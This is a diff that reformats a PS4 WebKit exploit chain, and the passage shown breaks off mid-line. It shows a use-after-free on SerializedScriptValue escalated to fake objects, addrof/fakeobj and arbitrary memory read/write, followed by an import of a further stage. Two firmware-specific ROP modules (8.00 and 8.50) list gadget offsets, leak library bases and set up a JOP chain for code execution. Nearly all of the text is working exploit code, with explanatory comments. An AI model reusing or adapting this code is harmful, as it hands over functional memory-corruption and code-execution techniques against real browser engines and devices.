0x10; + + // SSV offsets + const off_m_data = 8; + const off_m_abc = 0x18; + // view offsets + const voff_vec_abc = 0; // Vector + const voff_abc = voff_vec_abc + size_vector; // ArrayBufferContents + const voff_data = voff_abc + size_abc; + + // WTF::Vector + // write m_data + // m_buffer + ssv_buf.write64(off_m_data, view_p.add(voff_data)); + // m_capacity + ssv_buf.write32(off_m_data + 8, data_len); + // m_size + ssv_buf.write64(off_m_data + 0xc, data_len); + + // 6 is the serialization format version number for ps4 6.00. The format + // is backwards compatible and using a value less than the current version + // number used by a specific WebKit version is considered valid. + // + // See CloneDeserializer::isValid() from + // WebKit/Source/WebCore/bindings/js/SerializedScriptValue.cpp at PS4 8.0x. + const CurrentVersion = 6; + const ArrayBufferTransferTag = 23; + view.write32(voff_data, CurrentVersion); + view[voff_data + 4] = ArrayBufferTransferTag; + view.write32(voff_data + 5, 0); + + // std::unique_ptr> + // write m_arrayBufferContentsArray + ssv_buf.write64(off_m_abc, view_p.add(voff_vec_abc)); + // write WTF::Vector + view.write64(voff_vec_abc, view_p.add(voff_abc)); + view.write32(voff_vec_abc + 8, 1); + view.write32(voff_vec_abc + 0xc, 1); + + if (size_abc === 0x20) { + // m_destructor, offset 0, leave as 0 + // m_shared, offset 8, leave as 0 + // m_data + view.write64(voff_abc + 0x10, addr); + // m_sizeInBytes + view.write32(voff_abc + 0x18, size); + } else { + // m_data + view.write64(voff_abc + 0, addr); + // m_destructor (48 bits), offset 8, leave as 0 + // m_shared (48 bits), offset 0xe, leave as 0 + // m_sizeInBytes + view.write32(voff_abc + 0x14, size); + } } async function make_arw(reader, view2, pop) { - const rdr = reader; + const rdr = reader; - // we have to align the fake object to atomSize (16) else the process - // crashes. we don't know why - // - // since cells (GC memory chunks) are always aligned to atomSize, there - // might be code that's assuming that all GC pointers are aligned - // - // see atomSize from WebKit/Source/JavaScriptCore/heap/MarkedBlock.h at - // PS4 8.0x - const fakeobj_off = 0x20; - const fakebt_base = fakeobj_off + off.size_jsobj; - // sizeof JSC::IndexingHeader - const indexingHeader_size = 8; - // sizeof JSC::ArrayStorage - const arrayStorage_size = 0x18; - // there's only the .raw property - const propertyStorage = 8; - const fakebt_off = fakebt_base + indexingHeader_size + propertyStorage; + // we have to align the fake object to atomSize (16) else the process + // crashes. we don't know why + // + // since cells (GC memory chunks) are always aligned to atomSize, there + // might be code that's assuming that all GC pointers are aligned + // + // see atomSize from WebKit/Source/JavaScriptCore/heap/MarkedBlock.h at + // PS4 8.0x + const fakeobj_off = 0x20; + const fakebt_base = fakeobj_off + off.size_jsobj; + // sizeof JSC::IndexingHeader + const indexingHeader_size = 8; + // sizeof JSC::ArrayStorage + const arrayStorage_size = 0x18; + // there's only the .raw property + const propertyStorage = 8; + const fakebt_off = fakebt_base + indexingHeader_size + propertyStorage; - log('STAGE: leak CodeBlock'); - // has too be greater than 0x10. the size of JSImmutableButterfly - const bt_size = 0x10 + fakebt_off + arrayStorage_size; - const [func, bt_addr, strs_addr] = await leak_code_block(rdr, bt_size); + log("STAGE: leak CodeBlock"); + // has too be greater than 0x10. the size of JSImmutableButterfly + const bt_size = 0x10 + fakebt_off + arrayStorage_size; + const [func, bt_addr, strs_addr] = await leak_code_block(rdr, bt_size); - const view = rdr.rstr_view; - const view_p = rdr.m_data.sub(off.strimpl_inline_str); - const view_save = new Uint8Array(view); + const view = rdr.rstr_view; + const view_p = rdr.m_data.sub(off.strimpl_inline_str); + const view_save = new Uint8Array(view); - view.fill(0); - make_ssv_data(view2, view, view_p, bt_addr, bt_size); + view.fill(0); + make_ssv_data(view2, view, view_p, bt_addr, bt_size); - const bt = new BufferView(pop.state); - view.set(view_save); + const bt = new BufferView(pop.state); + view.set(view_save); - log('ArrayBuffer pointing to JSImmutableButterfly:'); - for (let i = 0; i < bt.byteLength; i += 8) { - log(`${bt.read64(i)} | ${hex(i)}`); - } + log("ArrayBuffer pointing to JSImmutableButterfly:"); + for (let i = 0; i < bt.byteLength; i += 8) { + log(`${bt.read64(i)} | ${hex(i)}`); + } - // the immutable butterfly's indexing type is ArrayWithInt32 so - // JSImmutableButterfly::visitChildren() won't ask the GC to scan its slots - // for JSObjects to recursively visit. this means that we can write - // anything to the the butterfly's data area without fear of a GC crash + // the immutable butterfly's indexing type is ArrayWithInt32 so + // JSImmutableButterfly::visitChildren() won't ask the GC to scan its slots + // for JSObjects to recursively visit. this means that we can write + // anything to the the butterfly's data area without fear of a GC crash - const val_true = 7; // JSValue of "true" - const strs_cell = rdr.read64(strs_addr); + const val_true = 7; // JSValue of "true" + const strs_cell = rdr.read64(strs_addr); - bt.write64(fakeobj_off, strs_cell); - bt.write64(fakeobj_off + off.js_butterfly, bt_addr.add(fakebt_off)); + bt.write64(fakeobj_off, strs_cell); + bt.write64(fakeobj_off + off.js_butterfly, bt_addr.add(fakebt_off)); - // since .raw is the first ever created property, it's just besides the - // indexing header - bt.write64(fakebt_off - 0x10, val_true); - // indexing header's publicLength and vectorLength - bt.write32(fakebt_off - 8, 1); - bt.write32(fakebt_off - 8 + 4, 1); + // since .raw is the first ever created property, it's just besides the + // indexing header + bt.write64(fakebt_off - 0x10, val_true); + // indexing header's publicLength and vectorLength + bt.write32(fakebt_off - 8, 1); + bt.write32(fakebt_off - 8 + 4, 1); - // custom ArrayStorage that allows read/write to index 0. we have to use an - // ArrayStorage because the structure assigned to the structure ID expects - // one so visitButterfly() will crash if we try to fake the object with a - // regular butterfly + // custom ArrayStorage that allows read/write to index 0. we have to use an + // ArrayStorage because the structure assigned to the structure ID expects + // one so visitButterfly() will crash if we try to fake the object with a + // regular butterfly - // m_sparseMap - bt.write64(fakebt_off, 0); - // m_indexBias - bt.write32(fakebt_off + 8, 0); - // m_numValuesInVector - bt.write32(fakebt_off + 0xc, 1); + // m_sparseMap + bt.write64(fakebt_off, 0); + // m_indexBias + bt.write32(fakebt_off + 8, 0); + // m_numValuesInVector + bt.write32(fakebt_off + 0xc, 1); - // m_vector[0] - bt.write64(fakebt_off + 0x10, val_true); + // m_vector[0] + bt.write64(fakebt_off + 0x10, val_true); - // immutable_butterfly[0] = fakeobj; - bt.write64(0x10, bt_addr.add(fakeobj_off)); + // immutable_butterfly[0] = fakeobj; + bt.write64(0x10, bt_addr.add(fakeobj_off)); - const fake = func()[0]; - log(`fake.raw: ${fake.raw}`); - log(`fake[0]: ${fake[0]}`); - log(`fake: [${fake}]`); + const fake = func()[0]; + log(`fake.raw: ${fake.raw}`); + log(`fake[0]: ${fake[0]}`); + log(`fake: [${fake}]`); - const test_val = 3; - log(`test setting fake[0] to ${test_val}`); - fake[0] = test_val; - if (fake[0] !== test_val) { - die(`unexpected fake[0]: ${fake[0]}`); - } + const test_val = 3; + log(`test setting fake[0] to ${test_val}`); + fake[0] = test_val; + if (fake[0] !== test_val) { + die(`unexpected fake[0]: ${fake[0]}`); + } - function addrof(obj) { - fake[0] = obj; - return bt.read64(fakebt_off + 0x10); - } + function addrof(obj) { + fake[0] = obj; + return bt.read64(fakebt_off + 0x10); + } - // m_mode = WastefulTypedArray, allocated buffer on the fastMalloc heap, - // unlike FastTypedArray, where the buffer is managed by the GC. This - // prevents random crashes. - // - // See JSGenericTypedArrayView::visitChildren() from - // WebKit/Source/JavaScriptCore/runtime/JSGenericTypedArrayViewInlines.h at - // PS4 8.0x. - const worker = new DataView(new ArrayBuffer(1)); - const main_template = new Uint32Array(new ArrayBuffer(off.size_view)); + // m_mode = WastefulTypedArray, allocated buffer on the fastMalloc heap, + // unlike FastTypedArray, where the buffer is managed by the GC. This + // prevents random crashes. + // + // See JSGenericTypedArrayView::visitChildren() from + // WebKit/Source/JavaScriptCore/runtime/JSGenericTypedArrayViewInlines.h at + // PS4 8.0x. + const worker = new DataView(new ArrayBuffer(1)); + const main_template = new Uint32Array(new ArrayBuffer(off.size_view)); - const leaker = {addr: null, 0: 0}; + const leaker = { addr: null, 0: 0 }; - const worker_p = addrof(worker); - const main_p = addrof(main_template); - const leaker_p = addrof(leaker); + const worker_p = addrof(worker); + const main_p = addrof(main_template); + const leaker_p = addrof(leaker); - // we'll fake objects using a JSArrayBufferView whose m_mode is - // FastTypedArray. it's safe to use its buffer since it's GC-allocated. the - // current fastSizeLimit is 1000. if the length is less than or equal to - // that, we get a FastTypedArray - const scaled_sview = off.size_view / 4; - const faker = new Uint32Array(scaled_sview); - const faker_p = addrof(faker); - const faker_vector = rdr.read64(faker_p.add(off.view_m_vector)); + // we'll fake objects using a JSArrayBufferView whose m_mode is + // FastTypedArray. it's safe to use its buffer since it's GC-allocated. the + // current fastSizeLimit is 1000. if the length is less than or equal to + // that, we get a FastTypedArray + const scaled_sview = off.size_view / 4; + const faker = new Uint32Array(scaled_sview); + const faker_p = addrof(faker); + const faker_vector = rdr.read64(faker_p.add(off.view_m_vector)); - const vector_idx = off.view_m_vector / 4; - const length_idx = off.view_m_length / 4; - const mode_idx = off.view_m_mode / 4; - const bt_idx = off.js_butterfly / 4; + const vector_idx = off.view_m_vector / 4; + const length_idx = off.view_m_length / 4; + const mode_idx = off.view_m_mode / 4; + const bt_idx = off.js_butterfly / 4; - // fake a Uint32Array using GC memory - faker[vector_idx] = worker_p.lo; - faker[vector_idx + 1] = worker_p.hi; - faker[length_idx] = scaled_sview; + // fake a Uint32Array using GC memory + faker[vector_idx] = worker_p.lo; + faker[vector_idx + 1] = worker_p.hi; + faker[length_idx] = scaled_sview; - rdr.set_addr(main_p); - faker[mode_idx] = rdr.read32_at(off.view_m_mode); - // JSCell - faker[0] = rdr.read32_at(0); - faker[1] = rdr.read32_at(4); - faker[bt_idx] = rdr.read32_at(off.js_butterfly); - faker[bt_idx + 1] = rdr.read32_at(off.js_butterfly + 4); + rdr.set_addr(main_p); + faker[mode_idx] = rdr.read32_at(off.view_m_mode); + // JSCell + faker[0] = rdr.read32_at(0); + faker[1] = rdr.read32_at(4); + faker[bt_idx] = rdr.read32_at(off.js_butterfly); + faker[bt_idx + 1] = rdr.read32_at(off.js_butterfly + 4); - // fakeobj() - bt.write64(fakebt_off + 0x10, faker_vector); - const main = fake[0]; + // fakeobj() + bt.write64(fakebt_off + 0x10, faker_vector); + const main = fake[0]; - log('main (pointing to worker):'); - for (let i = 0; i < off.size_view; i += 8) { - const idx = i / 4; - log(`${new Int(main[idx], main[idx + 1])} | ${hex(i)}`); - } + log("main (pointing to worker):"); + for (let i = 0; i < off.size_view; i += 8) { + const idx = i / 4; + log(`${new Int(main[idx], main[idx + 1])} | ${hex(i)}`); + } - new Memory( - main, worker, leaker, - leaker_p.add(off.js_inline_prop), - rdr.read64(leaker_p.add(off.js_butterfly)), - ); - log('achieved arbitrary r/w'); + new Memory(main, worker, leaker, leaker_p.add(off.js_inline_prop), rdr.read64(leaker_p.add(off.js_butterfly))); + log("achieved arbitrary r/w"); - rdr.restore(); - // set the refcount to a high value so we don't free the memory, view's - // death will already free it (a StringImpl is currently using the memory) - view.write32(0, -1); - // ditto (a SerializedScriptValue is currently using the memory) - view2.write32(0, -1); - // we don't want its death to call fastFree() on GC memory - make_arw._buffer = bt.buffer; + rdr.restore(); + // set the refcount to a high value so we don't free the memory, view's + // death will already free it (a StringImpl is currently using the memory) + view.write32(0, -1); + // ditto (a SerializedScriptValue is currently using the memory) + view2.write32(0, -1); + // we don't want its death to call fastFree() on GC memory + make_arw._buffer = bt.buffer; } async function main() { - log('STAGE: UAF SSV'); - const [fsets, indices] = prepare_uaf(); - const [view, [view2, pop]] = await uaf_ssv(fsets, indices[1], indices[0]); + log("STAGE: UAF SSV"); + const [fsets, indices] = prepare_uaf(); + const [view, [view2, pop]] = await uaf_ssv(fsets, indices[1], indices[0]); - log('STAGE: get string relative read primitive'); - const rdr = await make_rdr(view); + log("STAGE: get string relative read primitive"); + const rdr = await make_rdr(view); - for (const fset of fsets) { - fset.rows = ''; - fset.cols = ''; - } + for (const fset of fsets) { + fset.rows = ""; + fset.cols = ""; + } - log('STAGE: achieve arbitrary read/write primitive'); - await make_arw(rdr, view2, pop); + log("STAGE: achieve arbitrary read/write primitive"); + await make_arw(rdr, view2, pop); - clear_log(); - import('./lapse.mjs'); + clear_log(); + import("./lapse.mjs"); } main(); diff --git a/src/rop/ps4/800.mjs b/src/rop/ps4/800.mjs index 6f408e6..42c95e9 100644 --- a/src/rop/ps4/800.mjs +++ b/src/rop/ps4/800.mjs @@ -17,18 +17,14 @@ along with this program. If not, see . */ // 8.00, 8.01, 8.03 -import { mem } from '../../module/mem.mjs'; -import { KB } from '../../module/offset.mjs'; -import { ChainBase, get_gadget } from '../../module/chain.mjs'; -import { BufferView } from '../../module/rw.mjs'; +import { mem } from "../../module/mem.mjs"; +import { KB } from "../../module/offset.mjs"; +import { ChainBase, get_gadget } from "../../module/chain.mjs"; +import { BufferView } from "../../module/rw.mjs"; -import { - get_view_vector, - resolve_import, - init_syscall_array, -} from '../../module/memtools.mjs'; +import { get_view_vector, resolve_import, init_syscall_array } from "../../module/memtools.mjs"; -import * as off from '../../module/offset.mjs'; +import * as off from "../../module/offset.mjs"; // WebKit offsets of imported functions const offset_wk_stack_chk_fail = 0x8d8; @@ -68,7 +64,7 @@ push rdx mov edi, 0xac9784fe jmp qword ptr [rax] `; -const jop5 = 'pop rsp; ret'; +const jop5 = "pop rsp; ret"; // the ps4 firmware is compiled to use rbp as a frame pointer // @@ -83,179 +79,186 @@ const jop5 = 'pop rsp; ret'; // mov rsp, rbp // pop rbp -const webkit_gadget_offsets = new Map(Object.entries({ - 'pop rax; ret' : 0x0000000000035a1b, // `58 c3` - 'pop rbx; ret' : 0x000000000001537c, // `5b c3` - 'pop rcx; ret' : 0x0000000000025ecb, // `59 c3` - 'pop rdx; ret' : 0x0000000000060f52, // `5a c3` +const webkit_gadget_offsets = new Map( + Object.entries({ + "pop rax; ret": 0x0000000000035a1b, // `58 c3` + "pop rbx; ret": 0x000000000001537c, // `5b c3` + "pop rcx; ret": 0x0000000000025ecb, // `59 c3` + "pop rdx; ret": 0x0000000000060f52, // `5a c3` - 'pop rbp; ret' : 0x00000000000000b6, // `5d c3` - 'pop rsi; ret' : 0x000000000003bd77, // `5e c3` - 'pop rdi; ret' : 0x00000000001e3f87, // `5f c3` - 'pop rsp; ret' : 0x00000000000bf669, // `5c c3` + "pop rbp; ret": 0x00000000000000b6, // `5d c3` + "pop rsi; ret": 0x000000000003bd77, // `5e c3` + "pop rdi; ret": 0x00000000001e3f87, // `5f c3` + "pop rsp; ret": 0x00000000000bf669, // `5c c3` - 'pop r8; ret' : 0x00000000005ee860, // `41 58 c3` - 'pop r9; ret' : 0x00000000006f501f, // `47 59 c3` - 'pop r10; ret' : 0x0000000000060f51, // `47 5a c3` - 'pop r11; ret' : 0x00000000013cad93, // `41 5b c3` + "pop r8; ret": 0x00000000005ee860, // `41 58 c3` + "pop r9; ret": 0x00000000006f501f, // `47 59 c3` + "pop r10; ret": 0x0000000000060f51, // `47 5a c3` + "pop r11; ret": 0x00000000013cad93, // `41 5b c3` - 'pop r12; ret' : 0x0000000000d8968d, // `41 5c c3` - 'pop r13; ret' : 0x00000000019a0edb, // `41 5d c3` - 'pop r14; ret' : 0x000000000003bd76, // `41 5e c3` - 'pop r15; ret' : 0x00000000002499df, // `41 5f c3` + "pop r12; ret": 0x0000000000d8968d, // `41 5c c3` + "pop r13; ret": 0x00000000019a0edb, // `41 5d c3` + "pop r14; ret": 0x000000000003bd76, // `41 5e c3` + "pop r15; ret": 0x00000000002499df, // `41 5f c3` - 'ret' : 0x0000000000000032, // `c3` - 'leave; ret' : 0x0000000000291fd7, // `c9 c3` + "ret": 0x0000000000000032, // `c3` + "leave; ret": 0x0000000000291fd7, // `c9 c3` - 'mov rax, qword ptr [rax]; ret' : 0x000000000002dc62, // `48 8b 00 c3` - 'mov qword ptr [rdi], rax; ret' : 0x000000000005b1bb, // `48 89 07 c3` - 'mov dword ptr [rdi], eax; ret' : 0x000000000001f864, // `89 07 c3` - 'mov dword ptr [rax], esi; ret' : 0x00000000002915bc, // `89 30 c3` + "mov rax, qword ptr [rax]; ret": 0x000000000002dc62, // `48 8b 00 c3` + "mov qword ptr [rdi], rax; ret": 0x000000000005b1bb, // `48 89 07 c3` + "mov dword ptr [rdi], eax; ret": 0x000000000001f864, // `89 07 c3` + "mov dword ptr [rax], esi; ret": 0x00000000002915bc, // `89 30 c3` - [jop1] : 0x0000000001988320, // `48 8b 7e 08 48 8b 07 ff 60 70` - [jop2] : 0x000000000076b970, // `55 48 89 e5 48 8b 07 ff 50 30` - [jop3] : 0x0000000000f62f95, // `48 8b 52 50 b9 0a 00 00 00 ff 50 40` - [jop4] : 0x00000000021af6ad, // `52 bf fe 84 97 ac ff 20` - [jop5] : 0x00000000000bf669, // `5c c3` -})); + [jop1]: 0x0000000001988320, // `48 8b 7e 08 48 8b 07 ff 60 70` + [jop2]: 0x000000000076b970, // `55 48 89 e5 48 8b 07 ff 50 30` + [jop3]: 0x0000000000f62f95, // `48 8b 52 50 b9 0a 00 00 00 ff 50 40` + [jop4]: 0x00000000021af6ad, // `52 bf fe 84 97 ac ff 20` + [jop5]: 0x00000000000bf669, // `5c c3` + }), +); -const libc_gadget_offsets = new Map(Object.entries({ - 'getcontext' : 0x258f4, - 'setcontext' : 0x29c58, -})); +const libc_gadget_offsets = new Map( + Object.entries({ + "getcontext": 0x258f4, + "setcontext": 0x29c58, + }), +); -const libkernel_gadget_offsets = new Map(Object.entries({ +const libkernel_gadget_offsets = new Map( + Object.entries({ // returns the location of errno - '__error' : 0x160c0, -})); + "__error": 0x160c0, + }), +); export const gadgets = new Map(); function get_bases() { - const textarea = document.createElement('textarea'); - const webcore_textarea = mem.addrof(textarea).readp(off.jsta_impl); - const textarea_vtable = webcore_textarea.readp(0); - const off_ta_vt = 0x236d4a0; - const libwebkit_base = textarea_vtable.sub(off_ta_vt); + const textarea = document.createElement("textarea"); + const webcore_textarea = mem.addrof(textarea).readp(off.jsta_impl); + const textarea_vtable = webcore_textarea.readp(0); + const off_ta_vt = 0x236d4a0; + const libwebkit_base = textarea_vtable.sub(off_ta_vt); - const stack_chk_fail_import = libwebkit_base.add(offset_wk_stack_chk_fail); - const stack_chk_fail_addr = resolve_import(stack_chk_fail_import); - const off_scf = 0x12a30; - const libkernel_base = stack_chk_fail_addr.sub(off_scf); + const stack_chk_fail_import = libwebkit_base.add(offset_wk_stack_chk_fail); + const stack_chk_fail_addr = resolve_import(stack_chk_fail_import); + const off_scf = 0x12a30; + const libkernel_base = stack_chk_fail_addr.sub(off_scf); - const strlen_import = libwebkit_base.add(offset_wk_strlen); - const strlen_addr = resolve_import(strlen_import); - const off_strlen = 0x4eb80; - const libc_base = strlen_addr.sub(off_strlen); + const strlen_import = libwebkit_base.add(offset_wk_strlen); + const strlen_addr = resolve_import(strlen_import); + const off_strlen = 0x4eb80; + const libc_base = strlen_addr.sub(off_strlen); - return [ - libwebkit_base, - libkernel_base, - libc_base, - ]; + return [libwebkit_base, libkernel_base, libc_base]; } export function init_gadget_map(gadget_map, offset_map, base_addr) { - for (const [insn, offset] of offset_map) { - gadget_map.set(insn, base_addr.add(offset)); - } + for (const [insn, offset] of offset_map) { + gadget_map.set(insn, base_addr.add(offset)); + } } class Chain800Base extends ChainBase { - push_end() { - this.push_gadget('leave; ret'); - } + push_end() { + this.push_gadget("leave; ret"); + } - push_get_retval() { - this.push_gadget('pop rdi; ret'); - this.push_value(this.retval_addr); - this.push_gadget('mov qword ptr [rdi], rax; ret'); - } + push_get_retval() { + this.push_gadget("pop rdi; ret"); + this.push_value(this.retval_addr); + this.push_gadget("mov qword ptr [rdi], rax; ret"); + } - push_get_errno() { - this.push_gadget('pop rdi; ret'); - this.push_value(this.errno_addr); + push_get_errno() { + this.push_gadget("pop rdi; ret"); + this.push_value(this.errno_addr); - this.push_call(this.get_gadget('__error')); + this.push_call(this.get_gadget("__error")); - this.push_gadget('mov rax, qword ptr [rax]; ret'); - this.push_gadget('mov dword ptr [rdi], eax; ret'); - } + this.push_gadget("mov rax, qword ptr [rax]; ret"); + this.push_gadget("mov dword ptr [rdi], eax; ret"); + } - push_clear_errno() { - this.push_call(this.get_gadget('__error')); - this.push_gadget('pop rsi; ret'); - this.push_value(0); - this.push_gadget('mov dword ptr [rax], esi; ret'); - } + push_clear_errno() { + this.push_call(this.get_gadget("__error")); + this.push_gadget("pop rsi; ret"); + this.push_value(0); + this.push_gadget("mov dword ptr [rax], esi; ret"); + } } export class Chain800 extends Chain800Base { - constructor() { - super(); - const [rdx, rdx_bak] = mem.gc_alloc(0x58); - rdx.write64(off.js_cell, this._empty_cell); - rdx.write64(0x50, this.stack_addr); - this._rsp = mem.fakeobj(rdx); - } + constructor() { + super(); + const [rdx, rdx_bak] = mem.gc_alloc(0x58); + rdx.write64(off.js_cell, this._empty_cell); + rdx.write64(0x50, this.stack_addr); + this._rsp = mem.fakeobj(rdx); + } - run() { - this.check_allow_run(); - this._rop.launch = this._rsp; - this.dirty(); - } + run() { + this.check_allow_run(); + this._rop.launch = this._rsp; + this.dirty(); + } } export const Chain = Chain800; export function init(Chain) { - const syscall_array = []; - [libwebkit_base, libkernel_base, libc_base] = get_bases(); + const syscall_array = []; + [libwebkit_base, libkernel_base, libc_base] = get_bases(); - init_gadget_map(gadgets, webkit_gadget_offsets, libwebkit_base); - init_gadget_map(gadgets, libc_gadget_offsets, libc_base); - init_gadget_map(gadgets, libkernel_gadget_offsets, libkernel_base); - init_syscall_array(syscall_array, libkernel_base, 300 * KB); + init_gadget_map(gadgets, webkit_gadget_offsets, libwebkit_base); + init_gadget_map(gadgets, libc_gadget_offsets, libc_base); + init_gadget_map(gadgets, libkernel_gadget_offsets, libkernel_base); + init_syscall_array(syscall_array, libkernel_base, 300 * KB); - let gs = Object.getOwnPropertyDescriptor(window, 'location').set; - // JSCustomGetterSetter.m_getterSetter - gs = mem.addrof(gs).readp(0x28); + let gs = Object.getOwnPropertyDescriptor(window, "location").set; + // JSCustomGetterSetter.m_getterSetter + gs = mem.addrof(gs).readp(0x28); - // sizeof JSC::CustomGetterSetter - const size_cgs = 0x18; - const [gc_buf, gc_back] = mem.gc_alloc(size_cgs); - mem.cpy(gc_buf, gs, size_cgs); - // JSC::CustomGetterSetter.m_setter - gc_buf.write64(0x10, get_gadget(gadgets, jop1)); + // sizeof JSC::CustomGetterSetter + const size_cgs = 0x18; + const [gc_buf, gc_back] = mem.gc_alloc(size_cgs); + mem.cpy(gc_buf, gs, size_cgs); + // JSC::CustomGetterSetter.m_setter + gc_buf.write64(0x10, get_gadget(gadgets, jop1)); - const proto = Chain.prototype; - // _rop must have a descriptor initially in order for the structure to pass - // setHasReadOnlyOrGetterSetterPropertiesExcludingProto() thus forcing a - // call to JSObject::putInlineSlow(). putInlineSlow() is the code path that - // checks for any descriptor to run - // - // the butterfly's indexing type must be something the GC won't inspect - // like DoubleShape. it will be used to store the JOP table's pointer - const _rop = {get launch() {throw Error('never call')}, 0: 1.1}; - // replace .launch with the actual custom getter/setter - mem.addrof(_rop).write64(off.js_inline_prop, gc_buf); - proto._rop = _rop; + const proto = Chain.prototype; + // _rop must have a descriptor initially in order for the structure to pass + // setHasReadOnlyOrGetterSetterPropertiesExcludingProto() thus forcing a + // call to JSObject::putInlineSlow(). putInlineSlow() is the code path that + // checks for any descriptor to run + // + // the butterfly's indexing type must be something the GC won't inspect + // like DoubleShape. it will be used to store the JOP table's pointer + const _rop = { + get launch() { + throw Error("never call"); + }, + 0: 1.1, + }; + // replace .launch with the actual custom getter/setter + mem.addrof(_rop).write64(off.js_inline_prop, gc_buf); + proto._rop = _rop; - // JOP table - const rax_ptrs = new BufferView(0x100); - const rax_ptrs_p = get_view_vector(rax_ptrs); - proto._rax_ptrs = rax_ptrs; + // JOP table + const rax_ptrs = new BufferView(0x100); + const rax_ptrs_p = get_view_vector(rax_ptrs); + proto._rax_ptrs = rax_ptrs; - rax_ptrs.write64(0x70, get_gadget(gadgets, jop2)); - rax_ptrs.write64(0x30, get_gadget(gadgets, jop3)); - rax_ptrs.write64(0x40, get_gadget(gadgets, jop4)); - rax_ptrs.write64(0, get_gadget(gadgets, jop5)); + rax_ptrs.write64(0x70, get_gadget(gadgets, jop2)); + rax_ptrs.write64(0x30, get_gadget(gadgets, jop3)); + rax_ptrs.write64(0x40, get_gadget(gadgets, jop4)); + rax_ptrs.write64(0, get_gadget(gadgets, jop5)); - const jop_buffer_p = mem.addrof(_rop).readp(off.js_butterfly); - jop_buffer_p.write64(0, rax_ptrs_p); + const jop_buffer_p = mem.addrof(_rop).readp(off.js_butterfly); + jop_buffer_p.write64(0, rax_ptrs_p); - const empty = {}; - proto._empty_cell = mem.addrof(empty).read64(off.js_cell); + const empty = {}; + proto._empty_cell = mem.addrof(empty).read64(off.js_cell); - Chain.init_class(gadgets, syscall_array); + Chain.init_class(gadgets, syscall_array); } diff --git a/src/rop/ps4/850.mjs b/src/rop/ps4/850.mjs index af8ad3f..e03617b 100644 --- a/src/rop/ps4/850.mjs +++ b/src/rop/ps4/850.mjs @@ -17,18 +17,14 @@ along with this program. If not, see . */ // 8.50, 8.52 -import { mem } from '../../module/mem.mjs'; -import { KB } from '../../module/offset.mjs'; -import { ChainBase, get_gadget } from '../../module/chain.mjs'; -import { BufferView } from '../../module/rw.mjs'; +import { mem } from "../../module/mem.mjs"; +import { KB } from "../../module/offset.mjs"; +import { ChainBase, get_gadget } from "../../module/chain.mjs"; +import { BufferView } from "../../module/rw.mjs"; -import { - get_view_vector, - resolve_import, - init_syscall_array, -} from '../../module/memtools.mjs'; +import { get_view_vector, resolve_import, init_syscall_array } from "../../module/memtools.mjs"; -import * as off from '../../module/offset.mjs'; +import * as off from "../../module/offset.mjs"; // WebKit offsets of imported functions const offset_wk_stack_chk_fail = 0x8d8; @@ -68,7 +64,7 @@ push rdx mov edi, 0xac9784fe jmp qword ptr [rax] `; -const jop5 = 'pop rsp; ret'; +const jop5 = "pop rsp; ret"; // the ps4 firmware is compiled to use rbp as a frame pointer // @@ -83,179 +79,186 @@ const jop5 = 'pop rsp; ret'; // mov rsp, rbp // pop rbp -const webkit_gadget_offsets = new Map(Object.entries({ - 'pop rax; ret' : 0x000000000001ac7b, // `58 c3` - 'pop rbx; ret' : 0x000000000000c46d, // `5b c3` - 'pop rcx; ret' : 0x000000000001ac5f, // `59 c3` - 'pop rdx; ret' : 0x0000000000282ea2, // `5a c3` +const webkit_gadget_offsets = new Map( + Object.entries({ + "pop rax; ret": 0x000000000001ac7b, // `58 c3` + "pop rbx; ret": 0x000000000000c46d, // `5b c3` + "pop rcx; ret": 0x000000000001ac5f, // `59 c3` + "pop rdx; ret": 0x0000000000282ea2, // `5a c3` - 'pop rbp; ret' : 0x00000000000000b6, // `5d c3` - 'pop rsi; ret' : 0x0000000000050878, // `5e c3` - 'pop rdi; ret' : 0x0000000000091afa, // `5f c3` - 'pop rsp; ret' : 0x0000000000073c2b, // `5c c3` + "pop rbp; ret": 0x00000000000000b6, // `5d c3` + "pop rsi; ret": 0x0000000000050878, // `5e c3` + "pop rdi; ret": 0x0000000000091afa, // `5f c3` + "pop rsp; ret": 0x0000000000073c2b, // `5c c3` - 'pop r8; ret' : 0x000000000003b4b3, // `47 58 c3` - 'pop r9; ret' : 0x00000000010f372f, // `47 59 c3` - 'pop r10; ret' : 0x0000000000b1a721, // `47 5a c3` - 'pop r11; ret' : 0x0000000000eaba69, // `4f 5b c3` + "pop r8; ret": 0x000000000003b4b3, // `47 58 c3` + "pop r9; ret": 0x00000000010f372f, // `47 59 c3` + "pop r10; ret": 0x0000000000b1a721, // `47 5a c3` + "pop r11; ret": 0x0000000000eaba69, // `4f 5b c3` - 'pop r12; ret' : 0x0000000000eaf80d, // `47 5c c3` - 'pop r13; ret' : 0x00000000019a0d8b, // `41 5d c3` - 'pop r14; ret' : 0x0000000000050877, // `41 5e c3` - 'pop r15; ret' : 0x00000000007e2efd, // `47 5f c3` + "pop r12; ret": 0x0000000000eaf80d, // `47 5c c3` + "pop r13; ret": 0x00000000019a0d8b, // `41 5d c3` + "pop r14; ret": 0x0000000000050877, // `41 5e c3` + "pop r15; ret": 0x00000000007e2efd, // `47 5f c3` - 'ret' : 0x0000000000000032, // `c3` - 'leave; ret' : 0x000000000001ba53, // `c9 c3` + "ret": 0x0000000000000032, // `c3` + "leave; ret": 0x000000000001ba53, // `c9 c3` - 'mov rax, qword ptr [rax]; ret' : 0x000000000003734c, // `48 8b 00 c3` - 'mov qword ptr [rdi], rax; ret' : 0x000000000001433b, // `48 89 07 c3` - 'mov dword ptr [rdi], eax; ret' : 0x0000000000008e7f, // `89 07 c3` - 'mov dword ptr [rax], esi; ret' : 0x0000000000cf6c22, // `89 30 c3` + "mov rax, qword ptr [rax]; ret": 0x000000000003734c, // `48 8b 00 c3` + "mov qword ptr [rdi], rax; ret": 0x000000000001433b, // `48 89 07 c3` + "mov dword ptr [rdi], eax; ret": 0x0000000000008e7f, // `89 07 c3` + "mov dword ptr [rax], esi; ret": 0x0000000000cf6c22, // `89 30 c3` - [jop1] : 0x0000000000000000, // `` - [jop2] : 0x0000000000000000, // `` - [jop3] : 0x0000000000000000, // `` - [jop4] : 0x0000000000000000, // `` - [jop5] : 0x0000000000000000, // `` -})); + [jop1]: 0x0000000000000000, // `` + [jop2]: 0x0000000000000000, // `` + [jop3]: 0x0000000000000000, // `` + [jop4]: 0x0000000000000000, // `` + [jop5]: 0x0000000000000000, // `` + }), +); -const libc_gadget_offsets = new Map(Object.entries({ - 'getcontext' : 0x25904, - 'setcontext' : 0x29c38, -})); +const libc_gadget_offsets = new Map( + Object.entries({ + "getcontext": 0x25904, + "setcontext": 0x29c38, + }), +); -const libkernel_gadget_offsets = new Map(Object.entries({ +const 